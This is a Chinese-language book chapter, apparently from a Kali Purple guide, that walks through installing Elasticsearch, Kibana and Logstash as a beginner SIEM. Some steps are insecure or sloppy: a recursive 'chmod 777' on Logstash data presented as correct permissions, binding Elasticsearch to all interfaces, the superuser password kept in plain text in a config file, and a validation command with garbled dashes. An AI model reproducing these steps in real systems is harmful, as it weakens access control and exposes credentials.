我们将稍微改变一下顺序,因为我们会按照与我们提到的顺序不同的方式安装这些工具。Elasticsearch 会先安装。然而,为了从初学者的角度完全理解和利用这个工具,我们将紧接着安装 Kibana,并将二者进行集成。Logstash 将最后安装。在我们谈论整个过程时,你会明白为什么如此。所以,你可以说 ELK 堆栈就是 EKL 堆栈!我们怎么称呼它并不重要,只要确保它们都能正常运行。

正如我们在 第三章所做的那样,我们将注入大量的故障排除方法和解决方案,来处理用户在配置 ELK 堆栈时常遇到的问题。由于产品变更和改进是长期的,并且会在本书出版后继续发生,因此不可能预见到每一个可能的问题。因此,我们建议你阅读所有故障排除场景,即使它们与您无关,因为这将帮助你培养和增强分析师思维。

在本章结束时,你将搭建一个基础的 SIEM 技术平台。你还将理解基本 SIEM 技术如何在分析师侧管理数据,以及这些数据如何流动和存储。

本章内容包括:

  • 安装 Elasticsearch

  • 安装 Kibana 并与 Elasticsearch 集成

  • 安装并集成 Logstash

技术要求

你应该使用完成 第三章的同一设备。然而,Elasticsearch 对设备要求更高。虽然你可以使用比这里列出的更少的内存,但会导致系统变慢。以下是要求:

  • 最低要求:一台计算设备,架构为 amd64 (x86_64/64-bit)i386 (x86/32-bit),至少应该拥有 8 GB 的 RAM 和额外的 10 GB 硬盘空间。请注意,这些最低要求已知会导致性能问题,因此你应该尽量满足或超过推荐要求,以获得更流畅的体验。

  • 推荐要求:根据网络安全领域从业人员的反馈,建议使用 amd64 (x86_64/64-bit) 架构,配备 16 GB 的 RAM —— 更多内存更好 —— 以及最多 64 GB 的额外硬盘空间。

Elasticsearch

我们在第二章中学习了 Elasticsearch 的很多功能。特别是,我们发现它是一种增强型数据库,用于丰富 SIEM 信息。现在我们已经在虚拟机(VM)中设置了 Kali Purple 操作系统,那么怎么样,我们去下载一份这个著名的 Elasticsearch,安装并配置它,好让我们可以开始使用它呢?

如果你需要复习如何启动和登录,可以随时回到第三章。否则,首先打开 VirtualBox,选择我们之前创建的 Kali Purple 虚拟机。假设你此后没有进行任何独立的修改,那么现在应该只有这一台虚拟机可以选择。选中它并点击窗口右上角的启动按钮。输入在第三章中为非管理员账户创建的凭据,并点击登录进入 Kali Purple 环境。进入后,选择顶部导航栏上的小黑色方块/矩形图标,打开终端窗口。此时,你应该能看到一个包含你用户名的命令提示符。

首先,输入sudo apt update并注意终端显示的可升级软件包数量。你必须执行这一步,因为接下来的步骤中,你需要再次运行这个命令作为质量控制的手段,确保升级成功。第二次运行时,那个数字应该会显著减少,甚至可能为零。

最好的做法是在每次启动 Linux 时更新和升级软件包:

图 4.1 – sudo apt update

图 4.1 – sudo apt update

请记住,这个命令并不会更新你的软件包,它只是获取一个可用更新的列表。遵循此命令之后,通常应该更新可用的软件包。要执行实际的更新,你必须输入sudo apt upgrade。不过,要确保在运行更新命令之后再执行,否则任何新包都不会被找到和更新!第一次执行这个操作时,根据需要升级的软件包数量,这可能需要相当长的时间。如图 4.1所示,当时有超过 800 个可升级的软件包!

升级完成后,你需要再次运行原始的 sudo apt update 命令。可能仍然会有一些可用的升级包,尤其是当你第一次进行此操作时。因为某些软件团队为其产品开发改进的方式,某些软件团队可能会发布一个仅基于前一个更新的更新,而不是一个完全的升级包。这意味着你必须先安装一个先前的更新,然后才能安装最新的更新。有些软件团队会确保每次升级都是独立的,并且可以在初始安装后应用。除此之外,其他原因主要是各个组织的软件团队采用的开发和打包方法。

反复操作。每当你对整个软件包的升级感到满意时,你将希望确保系统能够识别任何由这些应用程序所做的配置或其他更改。所以,输入 systemctl daemon-reload

这个命令会导致 systemd 重新读取其配置文件并重新加载单元文件。Systemd 是一个用于 Linux 操作系统的系统和服务管理器,负责控制和管理操作系统,包括进程、服务和附加设备。每次修改任何配置或单元文件时,都需要运行前述的 daemon-reload 命令,以便将这些修改应用到系统中。简而言之,该命令让 systemd 知道这些更改已被做出。养成在安装和/或配置新应用程序或应用程序套件的每个重要步骤后运行此命令的习惯,可以避免在解决冲突或发现某些预期结果未出现时的烦恼。

Elasticsearch 可能已经默认安装,这取决于你是哪个层次的实验者,或者过去是否曾经安装过。如果是这样,只需进行一些配置更改即可。如果没有安装,你可以输入 sudo apt install elasticsearch。不过,先尝试以下命令,看看它是否已经安装。如果命令能够执行,那就说明它已经安装。

为了使 Elasticsearch 在启动时自动启动,输入 sudo systemctl enable elasticsearch

不让这个服务在启动时自动启动的好处,正如你可能猜到的,是性能和可能加快环境的加载速度。只需记住,如果你选择不启用 Elasticsearch,那么每次启动 Kali Purple 实例时,你都需要手动启动它。你可以通过运行 sudo systemctl start elasticsearch 命令来做到这一点。

记录初始密码,并记录密码重置和令牌生成的命令:

图 4.2 – 初始 Elasticsearch 配置

图 4.2 – 初始 Elasticsearch 配置

如果你在此实例中尚未启动 Elasticsearch,请先启动它,再继续下一步。正如图 4.2中所突出显示的,你需要记下默认密码,因为这是唯一一次会提供给你密码的机会。另外,记录下更改密码所需的命令,如果需要的话,还可以获取用于将 Kibana 与 Elasticsearch 集成的令牌。

输入sudo systemctl status elasticsearch来查看 Elasticsearch 的状态。

如果它正在运行,状态会显示为活动。如果需要,你可以按Ctrl + Z退出状态界面:

图 4.3 – Elasticsearch 状态

图 4.3 – Elasticsearch 状态

默认情况下,Elasticsearch 会绑定到本地主机(IP 地址127.0.0.1)。如果你想远程访问它,你需要配置它绑定到一个不同的 IP 地址。通过打开配置文件使用 nano 文本编辑器来完成此操作。输入sudo nano /etc/elasticsearch/elasticsearch.yml,然后查找以network.host开头的行,取消注释该行,即删除行首的#。你可以使用键盘上的箭头键来导航任何用 nano 文本编辑器打开的文件。尽管我们示例中使用的本地主机 IP127.0.0.1是默认值,但手动在network.host设置中输入该地址并取消注释仍然是一个良好的实践。这会帮助你养成确保知道在哪里进行调整设置的好习惯。如果你希望该设置绑定到所有接口,可以将其设置为network.host: 0.0.0.0,然后在退出编辑器之前保存更改。由于 nano 在你按Ctrl + X离开编辑器时会提示你保存,这个过程几乎是自动的。由于调整此行会创建新的配置更改,因此你必须输入sudo systemctl restart elasticsearch

打开一个网页浏览器并指向localhost:9200,特别注意http后的s。你可以在左上角的菜单中找到 Firefox 浏览器的图标。注意这个细节很重要,因为当你通过 Kibana 界面加载 Elasticsearch 时,稍后将不会包括这个ss代表安全,它的存在是因为自 8.0 版本之后,所有的 Elasticsearch 版本默认启用了安全功能。在这种情况下,这意味着安全套接层SSL)和传输安全层TLS)将是任何 HTTP 协议 – 浏览器 – 通信所必须的。虽然你确实可以关闭安全功能,但我们在这里不讨论这个过程,因为对于我们正在做的事情来说完全没有必要,更不用说它是不推荐的。

如果你提供了正确的 URL,浏览器最初会显示一个安全错误,如图 4.4所示;这是因为安全设置已启用。页面左下角会有一个蓝色的Learn more…链接,右下角会有一个Advanced...按钮,或者两者都有。你应该能选择其中任意一个,并且会看到一个Accept the Risk and Continue的选项。如果一个没有这个选项,另一个会有。在这种情况下,接受风险是完全可以的,因为你试图连接的是你自己的系统,除非你大脑里潜藏着某种隐藏人格,否则你应该非常清楚自己不会对自己构成威胁。

选择Learn more…Advanced…,然后点击Accept the Risk and Continue。登录弹窗将会出现:

图 4.4 – Elasticsearch – 初始网页访问

图 4.4 – Elasticsearch – 初始网页访问

一旦你接受风险,浏览器将显示一个弹窗,你可以在其中输入 Elasticsearch 超级用户——即elastic这个词,以及你在第一次运行 Elasticsearch 时记录的默认密码。如果出于某种原因你忘记了记录该密码,你可以返回命令行终端,通过输入sudo /usr/share/elasticsearch/bin/elasticsearch-reset-password -u elastic来请求一个新的密码,其中-u指定命令中的下一个词为用户名,elastic是超级用户的用户名。系统会要求你输入 sudo 密码,然后才会为你发放新的 Elasticsearch 密码。确保在输入该命令时,你处于默认的主目录。如果你不在主目录,可以输入cd返回主目录。你可以输入pwd查看当前所在的默认文件系统位置,应该返回类似/home/的内容,其中username是你为非管理员的 Kali Purple 账户创建的账户名。如果不是,说明你不在主目录。或者,你也可以直接使用cd命令导航到/usr/share/elasticsearch/bin/目录。到了该目录后,你只需输入elasticsearch-reset-password -u elastic即可重置密码。

现在,准备好迎接失望吧。如果你输入了正确的凭证,一个简单的网页将加载,显示你默认的 Elasticsearch 集群,格式为 JSON。如果你仔细观察新界面左上角,你会看到额外的标签,可以以原始格式显示相同的数据,或者查看页面头部。

那么,究竟为什么要让你经历这么多繁琐的步骤,仅仅为了在屏幕上显示几行文本呢?有三个原因:

  • 有传闻说,现在将你拉到刑架上是违法的。

  • 你将看到一个视觉上的确认,表明你的 Elasticsearch 安装成功。

  • 一旦我们安装 Kibana,你会更加欣赏其图形界面。

这样一来,你现在明白了为什么我们要以 EKL 栈的形式安装 ELK 栈。我们将完全无视 ELK 这一缩写,并以我们自己的反叛方式进行操作。首先安装和配置 Elasticsearch 是唯一真正必要的优先顺序,但我们按照这种方式安装这些项目,是为了涵盖每个产品对其他产品的依赖关系。所以,我们的疯狂之中其实有方法。

如果你是那种喜欢冒险的人,决定按照我们这里没有提到的顺序安装项目,做好遇到额外错误和挑战的准备。不过,这并不是告诉你不要这样做。某些工程师性格的人会故意以这种方式做事,因为他们享受通过制造问题来解决问题的学习过程。还有一些人则是天生的反叛者,不喜欢别人告诉他们该做什么。两种类型的人在 Kali Purple 社区中都受到喜爱和欢迎!如果你符合其中之一,我们在此验证你的感受。正是像你这样的人帮助别人学习。请在社区论坛分享你的经验,这将帮助并赋能他人发现和处理那些细节。

然而,这只是一个入门过程,由于这是入门阶段,如果你不愿意,现在不需要过于关注那些细节。这些细节你会随着时间的推移,在使用这些产品时逐渐发现。接下来,让我们继续了解 Kibana!

Kibana

为了让 Kibana 在这里发挥实际作用,首先安装 Elasticsearch 是至关重要的。正如我们已经讨论过的那样,这是安装和配置 ELK 栈时最重要的操作顺序。假设你已经完成了这一部分,我们将继续进行更新软件包索引的最佳实践。

首先,输入 sudo apt update,以获取可用更新的软件包列表。是否执行更新由你决定。执行更新是好习惯,但绝对不是必须的。要执行更新,在前一个命令执行完毕后,输入 sudo apt upgrade

然后,作为最佳实践,你还应该输入 systemctl daemon-reload,以养成这个习惯。这将确保你所做的任何配置更改,即使你可能忘记了,也会被 systemd 首先识别到,然后再重新启动服务。接下来,你需要重启自上次安装包以来使用的服务,以应用这些更改。在这种情况下,到目前为止我们唯一操作过的服务是 Elasticsearch。所以,你需要的命令是 sudo systemctl restart elasticsearch。命令提示符返回后,别忘了输入 sudo systemctl status elasticsearch,以验证 Elasticsearch 是否确实启动并且处于活动状态。

现在,我们可以通过输入 sudo apt install kibana 来安装 Kibana。和 Elasticsearch 一样,我们可以通过输入 sudo systemctl enable kibana 来启用 Kibana 在启动时自动启动。

要启动 Kibana,输入 sudo systemctl start kibana

要验证状态并确保 Kibana 正常运行,输入 sudo systemctl status kibana

如果 Kibana 已正确安装并启动,它将显示为活动状态:

Figure 4.5 – Kibana 状态与初始登录 URL 和验证代码

Figure 4.5 – Kibana 状态与初始登录 URL 和验证代码

如果状态没有及时返回命令提示符,您可以按住 Ctrl + Z 强制退出状态屏幕。接下来的步骤,如 Figure 4**.5 底部所示,是加载浏览器,和我们之前操作 Elasticsearch 时一样。不过这次,我们使用的是不同的端口号,并且也没有在 http 后加上 s

尽管最佳实践建议 Kibana 应该使用安全的 HTTPS 协议,但出于性能考虑,默认配置为使用 HTTP 协议。由于 Kibana 是一个可视化工具,默认情况下会占用大量的 CPU 资源。为了使数据受到威胁,它必须在 Kibana 和 Elasticsearch 之间被拦截,而这两者通常位于同一个内部网络中。与此相对,Elasticsearch 可能会接收来自外部网络的数据,这使得数据更容易受到威胁,因此默认开启安全性措施更加实际和必要。

这种细微的差异常常让第一次使用 ELK 堆栈的用户/安装人员感到困惑。只需记住,在整个过程中,如果您遇到卡住的情况,或者您是喜欢进行实验、超出我们讨论范围的用户,您可以通过使用更改目录命令来检查任何关于 Elasticsearch、Kibana 或 Logstash 的错误消息。为此,通过输入 cd /var/log/ 来导航到文件夹;然后进入目录后,输入 ls 查看可用的日志文件选项。在此之前安装的每个应用程序应该都在该目录下有一个文件列出。要查看某个特定文件,输入 cat 。例如,要查看 Kibana 的日志,您可以输入 cat Kibana。将 Kibana 替换为您希望查看的任何日志文件的文件名,该文件名会在您输入 ls 后列出的选项中。

如果你还没有在网页浏览器中加载 Kibana 界面并输入注册令牌,图 4**.5底部显示的验证码将不会出现在该屏幕上。该令牌可能是在 Elasticsearch 和/或 Kibana 初始启动期间提供给你的。如果你错过了它,你可以通过进入命令行并键入sudo /usr/share/elasticsearch/bin/elasticsearch-create-enrollment-token -s kibana来创建一个新的令牌。一个非常长且难以理解的字母数字代码会显示在你的终端屏幕上。选择并复制该代码,然后将其粘贴到你第一次加载 Kibana 时浏览器中出现的Enrollment token框中,如图 4**.6所示:

图 4.6 – 第一个 Kibana 浏览器实例请求注册令牌

图 4.6 – 第一个 Kibana 浏览器实例请求注册令牌

打开浏览器并将其指向 http://localhost:5601/?code=<VERIFICATION_CODE>,其中VERIFICATION_CODE是屏幕上显示的验证码,而不是图 4**.5中显示的754098,或者直接指向更简单的localhost:5601;浏览器将提示你手动输入验证码。无论哪种方式,你都会得到相同的结果。如果你忘记了验证码,可以键入sudo systemctl status kibana来再次查看它,该验证码将显示在输出的底部。

当你在安装并启动 Kibana 后第一次启动浏览器会话时,你可能会遇到计算资源的第一次测试。如果此时或之后的任何时候,你发现虚拟机的性能较慢,您会很高兴地知道,你可以调整在创建虚拟机时分配给虚拟机的内存、CPU 和其他资源。

在 VirtualBox 中,可以通过关闭虚拟机并从 Oracle VM VirtualBox 管理器主屏幕(即启动 VirtualBox 时加载的第一个屏幕)选择设置来完成此操作。请记住,设置按钮将针对你选择的虚拟机,如果你有多个虚拟机的话。或者,你也可以右键点击你想要的虚拟机,并从该角度选择设置

在出现的左侧列中的两个选项卡,系统显示,最有可能与你的性能相关。在这两个区域内,你可以调整处理能力、RAM、视频内存等。务必记住,不要尝试为虚拟机分配超过主机机器可用资源的量,因为还需要考虑虚拟化软件以外的其他应用程序。

我们提供了 VirtualBox 的使用说明,因为本书中我们将使用它。然而,几乎所有虚拟化软件都提供相同的选项。为每种市场上的虚拟化应用程序提供说明是不切实际的。然而,作为安全专业人员,独立研究的能力是必备的。只需简单地在 Google 或其他搜索引擎中查询如何调整资源分配,就足以解决问题。

一旦确认了你的验证码,解决了任何性能和/或虚拟机设置问题,并使用与 Elasticsearch 相同的 Elastic 凭据登录到 Kibana 界面,你将看到一个屏幕,提供添加集成自行探索的选项。点击添加集成按钮,准备好像在过剩糖果店的富家子弟一样:

图 4.7 – 登录到 Elasticsearch 后 Kibana 的视觉大厅

图 4.7 – 登录到 Elasticsearch 后 Kibana 的视觉大厅

你将看到超过 350 种可能的 Kibana 集成选项。在左侧的所有类别列上方,你会看到浏览集成的选项。此选项应以蓝色突出显示,表示你当前在该位置。紧挨着它的右侧,你将看到一个黑色的已安装集成选项,用于列出你可能已安装的任何集成。点击已安装集成

Kibana 提供 350 多种稳定的集成 —— 如果你选择显示 beta 集成按钮,则大约有 400 种:

图 4.8 – Kibana 的集成页面

图 4.8 – Kibana 的集成页面

你会看到已经安装了一个名为Elastic Synthetics的项目。这是默认安装的核心 Elastic 代理。每次你添加新的集成时,它都会出现在这个列表中。返回到浏览集成,花些时间尝试其中的某些或所有选项。

如果由于某些原因你将自己逼入困境,你可以使用以下命令序列来移除 Kibana:

  1. 输入sudo systemctl stop kibana

  2. 输入sudo systemctl disable kibana

  3. 输入sudo apt remove kibana

  4. 输入sudo apt purge kibana

清除操作将尝试清理任何残留的配置文件,以便在未来的安装中避免出现意外的差异。

如果你决定重新开始安装这些工具,同样的过程也适用于 Elasticsearch 和 Logstash。你只需将之前命令中的应用名称替换为kibana即可。如果你感觉自信并且想要尝试,安装和卸载这些工具几次也是个不错的主意,这样你可以更好地了解整个过程。重复是学习之母,而实践是学习之父。在这里,你将同时获得两者。

在你成功安装 Elasticsearch 和 Kibana 后,或许你会注意到,在浏览集成部分,你可以选择在 Kibana 环境中安装 Logstash。我们将在下一章讨论这一点,重点讲解如何获取我们将在 ELK 堆栈中处理的数据。通过图形化界面添加 Logstash 时,你还有选择添加 Elastic 代理的选项——这是 Beats 的替代方案。为了保持一致性并培养必要的命令行操作技能,我们将在下一节通过命令行安装 Logstash。我们已经有了一个不错的开局!那么,让我们继续推进,安装 Logstash。

Logstash

你可能已经这么做了,但因为我们不知道你何时会停下来看书,所以我们将继续养成在每次新安装之前更新软件包列表的最佳实践,就像我们从 Elasticsearch 切换到 Kibana 时做的那样。

首先输入 sudo apt update。如果你是第一次在 Linux 环境中工作,你可能已经注意到,即使我们频繁使用这个命令,几乎总有新更新不断推出。如果你还没有遇到这种情况,那意味着你正在快速工作,覆盖的内容也很多。没有什么问题,但不要被这个速度迷惑。当你第一次休息一两天后,再回来运行这个命令时,你会发现有新的软件包更新可用。这就是为什么我们会养成在每次安装软件包后、以及每次登录到 Kali Purple 系统时运行它的习惯。

继续输入 sudo apt update 命令,接着输入 sudo apt upgrade 来更新你的软件包(如果你愿意的话)。然后输入 systemctl daemon-reload。这不是每次登录都必须做的事情,但如果你正在进行一个涉及大量新软件包安装和配置的项目——像我们现在这样时,这个步骤应该成为一种习惯。

Logstash 是我们在 第三章中提到的需要 Java 开发工具包JDK)的应用。如果你按照那一章的指示操作,说明你已经安装好了 JDK。如果没有,或许你可以返回那一章的结尾部分,赶紧安装一下。过程简单且无痛苦。

输入 sudo apt install logstash 开始安装 Logstash。

通过输入 sudo systemctl enable logstash,将 Logstash 设置为在系统启动时自动启动。如果您希望调整此前设置为自动启动的任何应用程序的此设置,可以输入 sudo systemctl disable logstash – 这是上一节末尾简要介绍过的命令 – 以将其设置为手动启动。这意味着每次启动系统时,您必须手动运行启动命令才能启动它。

输入 sudo service logstash start 启动 Logstash 服务。接下来,您需要输入 sudo systemctl status logstash 来验证状态,确保 Logstash 正在成功运行。准备好后,如果需要,可以按 Ctrl + Z 退出状态屏幕。

由于 Logstash 的主要功能之一依赖于数据传输,我们需要进行测试,确保用于此操作的管道正常工作。我们将通过进入 Logstash,创建一个基本的管道,输入一个命令,并检查该命令是否被 Logstash 接收并处理来进行测试。其实比听起来简单。使用 change directorycd)命令,导航到 Logstash 安装目录。要到达该目录,输入 cd /usr/share/logstash

如果您不确定自己所在的位置,可以在输入前述命令后,使用 print working directorypwd)命令来验证您的位置。输入 pwd,它应返回 /usr/share/logstash。在尝试打开管道之前,您需要确保您和任何其他尝试访问 Logstash 的应用程序都有访问权限。输入 sudo chmod -R 777 /usr/share/logstash/data 来为整个文件路径设置正确的权限。在该位置,输入 bin/logstash -e 'input { stdin {} } output { stdout {} }' 来打开 Logstash 应用程序中的管道,特别注意使用单引号和大括号,而不是圆括号。稍等片刻,等待管道打开。您会知道这是成功的,当您的终端显示一些文本,表明主管道或 Java 管道已启动,如 图 4.9 中所示:

图 4.9 – Logstash – 基本的 Java 管道

图 4.9 – Logstash – 基本的 Java 管道

注意

在此过程中,您可能会看到一些警告。如果您完全按照我们的指引操作,可以安全地忽略这些警告。这些警告是有其有效目的的,但计算机无法知道我们是在首次安装和配置这些应用程序。在 ELK 堆栈完全配置并正常运行后,这些警告应该会消失。

返回给你的确切文本可能会根据你安装的 Logstash 版本有所不同,因为该产品正在积极更新,并将在本书出版后继续更新。有时,设置过程需要一段时间才能在后台正确配置。如果你遇到错误,等待几分钟后再输入一次命令。测试人员报告说,通常需要等待并重新输入命令。之前的命令中,-e 后面的内容是打开管道的命令。这个 -e 告诉 Kali,可以将该命令附加到 Logstash 并在命令行中执行。程序员和软件工程师,尤其是那些有过 C 类语言工作经验的你们,会认识到 stdinstdout 是用于管理输入和输出的核心功能。它们分别代表 标准输入标准输出。这个命令基本上是告诉 Logstash 获取即将接收到的输入并将其处理为输出。

现在,让我们通过在终端窗口中输入 I love Kali Purple 来测试我们在 Logstash 中打开的这个新管道。如果 Logstash 安装正确、没有错误启动,并且之前步骤中的管道设置正确,那么你应该会看到已添加时间戳,并且输出已经返回给你,如 图 4.10 所示:

图 4.10 – Logstash 成功的输入/输出处理

图 4.10 – Logstash 成功的输入/输出处理

Ctrl + D 退出 Logstash 并返回到命令提示符。你必须完成的最后一项任务是配置 Logstash,使其能够在 Elasticsearch 中索引你的数据。

“但是 Karl,我没有数据!” 我理解你。我每天早上也有同样的感受,直到喝到第二或第三杯咖啡为止。在下一章,我们将专注于获取数据并通过 ELK 堆栈使用 Beats 和示例数据集进行处理。不过现在,我们只是为使用工具做准备。

要配置 Logstash 在 Elasticsearch 中索引你的数据,你需要使用 cd 命令导航到 Logstash 的主目录。为此,输入 cd /etc/logstash。有很多方法可以实现 Elasticsearch 索引目标,但我们无法预测这些应用程序的未来版本。我们也不知道你是否在遛狗时把 Kali Purple 实例完全暴露,任由恶作剧的青少年删除你的文件。因此,我们将首先展示最基础、从零开始、需要努力的、流汗的方法。

为了做到这一点,你需要创建一个管道文件;在该文件中,你必须指定输入来源、任何特殊过滤器(将在下一章介绍),以及输出去向。输入sudo touch learning-purple.conf来创建文件,然后使用列表命令 – ls – 验证该文件是否存在于目录中。如果文件不存在,很可能是由于输入错误,所以请重试。

创建完成后,我们可以使用 nano 编辑文件。在相同的目录下输入sudo nano learning-purple.conf来打开新创建的完全空白的文件。如果你已经不在该目录中,可以导航到该目录,或者在前面的命令前添加/etc/logstash/文件路径。如果你不熟悉这个术语,可以将其理解为“添加”。当你添加某物时,意味着你将它放在后面。比如书籍中的附录,意味着你在书的末尾添加了索引。在这个例子中,prepend 意思是将内容添加到某事的开头 – 你是在前面的命令之前添加文件:sudo nano /etc/logstash/learning-purple.conf。这是一个额外的知识点,和 Kali Purple 或 ELK 堆栈无关,因为你很可能会在网络安全的职业生涯中再次遇到这个术语。一旦文件打开,插入以下代码:

input {
   # We will use input to accept data from Beats
   # We will learn about Beats in Chapter 5
}
filter {
   # We will learn about filters in Chapter 5
   # Filters are a form of data enrichment
}
output {
    elasticsearch {
       hosts => ["localhost:9200"]
       user => "elastic"
       password => "ElasticSuperUserPassword"
    }
}

在上述场景中,确保将ElasticSuperUserPassword替换为你首次启动 Elasticsearch 时收到的密码和/或你创建的密码。这将是你首次登录 Kibana 时使用的相同密码,帮助 Kibana 与 Elasticsearch 进行集成。

请记住,如果你在任何时候更改了这个密码,你将必须手动检查与 Elasticsearch 集成的每个应用程序,并更新它们的配置文件,否则它们将无法访问 Elasticsearch,无法正常工作!

注意

这种非人工认证通常被称为服务账户,在技术领域中是如此。作为一名网络安全分析师,你需要深入了解服务账户,特别是那些知名的服务账户,因为这些知识可以帮助你分析安全警报,判断发生了什么。你很可能经常遇到的一个流行服务账户是NT AUTHORITY\SYSTEM。这是一个内置的 Windows 用户账户,具有 Windows 操作系统中最高级别的系统权限。它在 Windows 操作系统初始安装时创建,并用于集成系统内部的服务和进程。这使得它成为恶意攻击者的目标,因此它出现在安全警报中时,值得进行深入分析。

按下Ctrl + X并选择Y,如果系统提示你保存并关闭我们刚才创建的文件。现在,我们的工作还没完全结束。我们想要对我们新创建的文件进行配置验证和语法检查。使用以下命令时,请确保在--path.config前面使用两个连字符(减号),但其他地方只用一个。将以下庞大的命令输入到你的终端中,全部在一行内:

sudo /usr/share/logstash/bin/logstash –path.settings /etc/logstash -–path.config /etc/logstash -t -f /etc/logstash/learning-purple.conf

请耐心等待。这可能需要一两分钟才能完成。

Logstash 内置了一个配置文件验证器和语法检查工具:

图 4.11 – 配置文件通过验证

图 4.11 – 配置文件通过验证

另一种将 Logstash 设置为将数据报告给 Elasticsearch 进行索引的方法是编辑logstash-sample.conf(如果你的产品版本中有该文件)。它可以在我们创建learning-purple.conf的同一目录下找到。然而,最佳实践是不要编辑任何技术中的默认示例文件,而是复制它们并编辑副本。这样,如果你犯了错误,始终可以从未修改过的原始文件开始工作。

如果你在同一目录下,复制文件的命令格式是sudo cp 。例如,sudo cp logstash-sample.conf logstash-sample-two.conf将创建一个名为logstash-sample-two.conf的新文件,其内容与logstash-sample.conf相同。如果你不在该目录下,那么你必须在命令中为每个文件添加文件路径,例如sudo cp /etc/logstash/logstash-sample.conf /etc/logstash/logstash-sample-two.conf。即使你希望文件副本与原文件在同一目录下,也应该这样做(否则,副本将被放置在你当前所在的目录中)。

请记住,你仍然需要编辑新文件并添加 Elastic 服务帐户的凭据。你还需要确保删除用户和密码行前的#符号,这样文件才能被读取。否则,#符号会告诉 Logstash 忽略该行后面的内容,因为那部分信息仅供人类阅读,而不是机器。这种约定使开发者和应用用户可以读取文件并理解文件内容。添加此类注释被认为是编码和/或脚本编写的最佳实践,并且强烈推荐使用。

ELK 栈并不只限于 Kali Purple。它是跨平台兼容的,并且有多种格式,包括云托管版本。然而,本书主要讲的是 Kali Purple,我们对 ELK 栈的关注将集中在它如何与 Kali Purple 相关联。请记住,这只是整个 Purple 解决方案中的一小部分。一旦我们完成配置 ELK 栈并让它在下一章结束时运行,我们将转向 Kali Purple 的其他工具。那些工具将与 ELK 栈集成,提供完整的 SOC 解决方案。

总结

本章我们介绍了如何安装和配置 ELK 栈的三个关键组件。这些组件共同工作,接收、丰富、索引并显示数据分析人员所需的信息。在此过程中,我们还学到了一些相关的有用信息,这些内容可能会在你未来的网络安全职业中反复出现。

然后,我们学习了一些最佳实践,比如在每次系统启动后进行更新和升级,并且在代码和配置文件中添加易于阅读的注释。我们还介绍了如何在启动应用程序后查看其状态,以及一系列操作命令,比如设置应用程序开机自启,以及如何在需要时停止、禁用或删除它们。

这些任务为我们提供了一套强大的技能,能够操作 ELK 栈的组件,使其符合我们的需求。这包括测试我们的配置的经验以及如何使用服务账户集成这些组件。

在下一章,我们将进一步学习 ELK 栈的其他组件,这些组件用于收集我们需要的数据并将其传送给我们。我们将学习如何部署这些端点代理并设置 Logstash 过滤器来丰富数据。我们还将获取一组数据样本,通过我们的新 SIEM 系统进行处理,并最终看到它作为一个完整单元运行!

问题

回答以下问题来测试你对本章的理解:

  1. 本章介绍的 ELK 栈组件中,依赖我们安装的 JDK 的是哪个?

    1. Kibana

    2. Elasticsearch

    3. Logstash

  2. 对或错:可以通过 Kibana GUI 安装 Logstash。

    1. 正确

    2. 错误

  3. 在第一次运行 Elasticsearch 时提供的密码有何重要意义?

    1. 它是一个服务账户密码,用于集成 ELK 栈组件。

    2. 它永远不能更改。

    3. 它用于集成 ELK 栈组件,但技术上不是一个服务账户。

    4. 它最多可以更改四次。

  4. 服务账户的主要功能是什么?

    1. 它管理运行中的后台服务。

    2. 它是一个非人类账户,用于帮助应用程序之间的集成。

    3. 它让服务对其行为负责。

    4. 它会自动向你发送短信,提醒你汽车需要更换机油。

  5. Elasticsearch 绑定的默认端口是什么?

    1. 5601

    2. 5400

    3. 9201

    4. 9200

  6. 以下哪个命令用于清理残留的配置文件?

    1. sudo apt 清除

    2. sudo apt 移除

    3. sudo apt 禁用

    4. sudo apt 分解

进一步阅读

要了解本章中涉及的更多主题,请查看以下资源:

第五章:将数据发送到 ELK 堆栈

我们在上一章中介绍了ELK 堆栈的三个主要组件。这是一个很好的开始,但没有数据,这些组件是没用的!本章旨在解决这个问题。获取数据的方法有很多种,而探索其中一些方法可能会变得相当复杂。由于这是一本入门手册,我们将采用更简单的方法——在这种情况下是Beats——但仍会提供一些更高级方法的概述。这将使那些渴望知识、喜欢独立学习的人能够深入探讨,如果他们愿意的话,同时也为那些喜欢慢慢来的人提供可操作的工具。

获取数据的过程涉及到数据的传输。这有时被称为数据传输。在本章中,当我们使用“数据传输”一词时,应该理解为我们在讨论数据的传输。另一个可以安全假设的是,我们在讨论数据传输时,总是包含 Logstash 在我们的数据传输生态系统中。所以,当我们谈到将数据发送到 Elasticsearch 时,这意味着我们要么已经准备好快速切换到 Logstash,要么它应当被视为商业环境中的一种选择,但我们只是将数据发送到 Elasticsearch,以便高效地推进示例。在大多数生产环境中,你会首先将数据发送到 Logstash。如果我们在某些情况下打算跳过 Logstash,直接将数据发送到 Elasticsearch——这是完全可能的——我们会明确指出。

本章所提供的信息将帮助你了解典型的 SIEM 操作是如何工作的。虽然我们在实际操作和示例中使用的是 ELK 堆栈,但你在这里获得的经验和知识通常可以迁移到其他 SIEM 设置中。本章将作为本书第一部分的结尾。在此之后,我们将不再直接与 ELK 堆栈进行操作。然而,当我们学习 Kali Purple 发行版中的其他工具时,你会发现它们是 ELK 堆栈的补充,并会与之集成。随着层次的逐步构建,你将开始看到你的完整 SOC 逐渐成型,这一切都围绕着你到目前为止所完成的工作,包括本章的内容。所以,在这一章中要特别小心,确保在离开本章时,对其中的概念有扎实的理解。

本章包含以下内容:

  • 理解数据流动

  • Filebeat

  • Beats 的类型

  • Elastic agent

  • Logstash 和过滤器

技术要求

本章需要以下内容:

  • 最低要求:一台具有amd64 (x86_64/64 位)i386 (x86/32 位) 架构的计算设备。它应至少包含8 GB的内存。

  • 推荐要求:根据来自网络安全领域从业者的反馈,建议使用 amd64 (x86_64/64-bit) 架构,并配备 16 GB 内存——更多内存更好——以及最多 64 GB 的额外磁盘空间。

理解数据流

你可能还记得在 第一章 中我们讨论了围绕 Kali Purple 的一项神奇现象——从未使用过 Linux 的人最终决定尝试它。网络安全领域已经发展到一个新的阶段,许多职位不再要求事先具备特定类型的技术经验。尽管拥有这些经验无疑会有所帮助,并且能为你提供优势,但许多组织开始更加重视问题解决能力、在压力下操作的能力,或解决没有现成答案的挑战。一些组织愿意教会员工所需的技术技能,只要他们具备这些能力,并能展现出强烈的职业道德和作为好学生的潜力。这不仅仅局限于 Linux、编程或其他经验。有些人在进入网络安全领域时,缺乏的经验之一是网络技术。我们所说的“网络”并不是指建立一个强大的人脉圈子,而是指电缆、连接和机器之间的数据流动。

